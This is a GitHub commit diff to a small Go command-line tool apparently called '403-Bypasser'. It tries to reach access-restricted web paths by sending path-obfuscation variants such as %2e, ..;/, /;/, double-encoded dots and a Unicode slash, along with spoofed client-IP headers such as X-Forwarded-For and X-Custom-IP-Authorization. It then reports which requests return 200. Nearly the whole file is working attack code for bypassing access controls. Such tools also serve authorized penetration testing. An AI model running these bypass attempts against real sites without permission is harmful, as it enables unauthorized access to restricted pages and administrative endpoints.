Adding some path
pull/1/head
Muhammad Daffa 2021-07-18 08:01:29 +07:00 committed by GitHub
parent eb0f1997cd
commit 6fac0493e3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 56 additions and 21 deletions

77
main.go
View File

@ -5,27 +5,60 @@ import (
"fmt"
"log"
"net/http"
"os"
"strings"
)
var Red = "\033[31m"
var Green = "\033[32m"
var White = "\033[97m"
func main() {
domain := flag.String("url", "https://google.com", "A domain")
path := flag.String("path", "admin", "An endpoint")
domain := flag.String("url", "", "A domain with the protocol. Example: https://daffa.tech")
path := flag.String("path", "", "An endpoint. Example: admin")
flag.Parse()
var Red = "\033[31m"
var Green = "\033[32m"
var White = "\033[97m"
if *domain == "" || *path == "" {
log.Fatalln("Using flag -url and -path")
os.Exit(0)
}
endpoint := []string{*domain + "/%2e/" + *path, *domain + "/" + *path + "..;/", *domain + "/" + *path + "/.", *domain + "//" + *path + "//", *domain + "/./" + *path + "/./"}
headers := []string{"X-Custom-IP-Authorization", "X-Originating-IP", "X-Forwarded-For", "X-Remote-IP", "X-Client-IP", "X-Host", "X-Forwarded-Host"}
fmt.Println(Green, " _ _ ___ ____ ____ ")
fmt.Println(Green, "| || | / _ \\___ \\ | _ \\ ")
fmt.Println(Green, "| || |_| | | |__) |_____| |_) |_ _ _ __ __ _ ___ ___ ___ _ __ ")
fmt.Println(Green, "|__ _| | | |__ <______| _ <| | | | '_ \\ / _` / __/ __|/ _ \\ '__|")
fmt.Println(Green, " | | | |_| |__) | | |_) | |_| | |_) | (_| \\__ \\__ \\ __/ | ")
fmt.Println(Green, " |_| \\___/____/ |____/ \\__, | .__/ \\__,_|___/___/\\___|_| ")
fmt.Println(Green, " __/ | | ")
fmt.Println(Green, " |___/|_| v1.0.1", White)
upperCase := strings.ToUpper(*path)
endpoint := []string{
*domain + "/" + upperCase,
*domain + "/" + *path + "/",
*domain + "/" + *path + "/.",
*domain + "//" + *path + "//",
*domain + "/./" + *path + "/./",
*domain + "/./" + *path + "/..",
*domain + "/;/" + *path,
*domain + "/.;/" + *path,
*domain + "//;//" + *path,
*domain + "/" + *path + "..;/",
*domain + "/%2e/" + *path,
*domain + "/%252e/" + *path,
*domain + "/%ef%bc%8f" + *path}
headers := []string{
"X-Custom-IP-Authorization",
"X-Originating-IP",
"X-Forwarded-For",
"X-Remote-IP",
"X-Client-IP",
"X-Host",
"X-Forwarded-Host",
"X-ProxyUser-Ip",
"X-Remote-Addr"}
fmt.Println(Green, " _ _ ___ ____ ____ ")
fmt.Println(Green, "| || | / _ \\___ \\ | _ \\ ")
fmt.Println(Green, "| || |_| | | |__) |_____| |_) |_ _ _ __ __ _ ___ ___ ___ _ __ ")
fmt.Println(Green, "|__ _| | | |__ <______| _ <| | | | '_ \\ / _` / __/ __|/ _ \\ '__| ")
fmt.Println(Green, " | | | |_| |__) | | |_) | |_| | |_) | (_| \\__ \\__ \\ __/ | ")
fmt.Println(Green, " |_| \\___/____/ |____/ \\__, | .__/ \\__,_|___/___/\\___|_| ")
fmt.Println(Green, " __/ | | ")
fmt.Println(Green, " |___/|_| v1.0.2", White)
fmt.Println("\nDomain:", *domain)
fmt.Println("Path:", *path)
@ -36,11 +69,13 @@ func main() {
if err != nil {
log.Fatal(err)
}
output := fmt.Sprintf("%s %d %s", str, req.StatusCode, http.StatusText(req.StatusCode))
if req.StatusCode == 200 {
fmt.Println(Green, i+1, str, req.StatusCode, http.StatusText(req.StatusCode), White)
fmt.Println(Green, i+1, output, White)
} else {
fmt.Println(Red, i+1, str, req.StatusCode, http.StatusText(req.StatusCode), White)
fmt.Println(Red, i+1, output, White)
}
}
fmt.Println("\nRequest with Headers")
@ -54,12 +89,12 @@ func main() {
if err != nil {
log.Fatal(err)
}
output2 := fmt.Sprintf("%s %s %d %s", head, *domain+"/"+*path, resp.StatusCode, http.StatusText(resp.StatusCode))
if resp.StatusCode == 200 {
fmt.Println(Green, j+1, head, *domain+"/"+*path, resp.StatusCode, http.StatusText(resp.StatusCode), White)
fmt.Println(Green, j+1, output2, White)
} else {
fmt.Println(Red, j+1, head, *domain+"/"+*path, resp.StatusCode, http.StatusText(resp.StatusCode), White)
fmt.Println(Red, j+1, output2, White)
}
}
}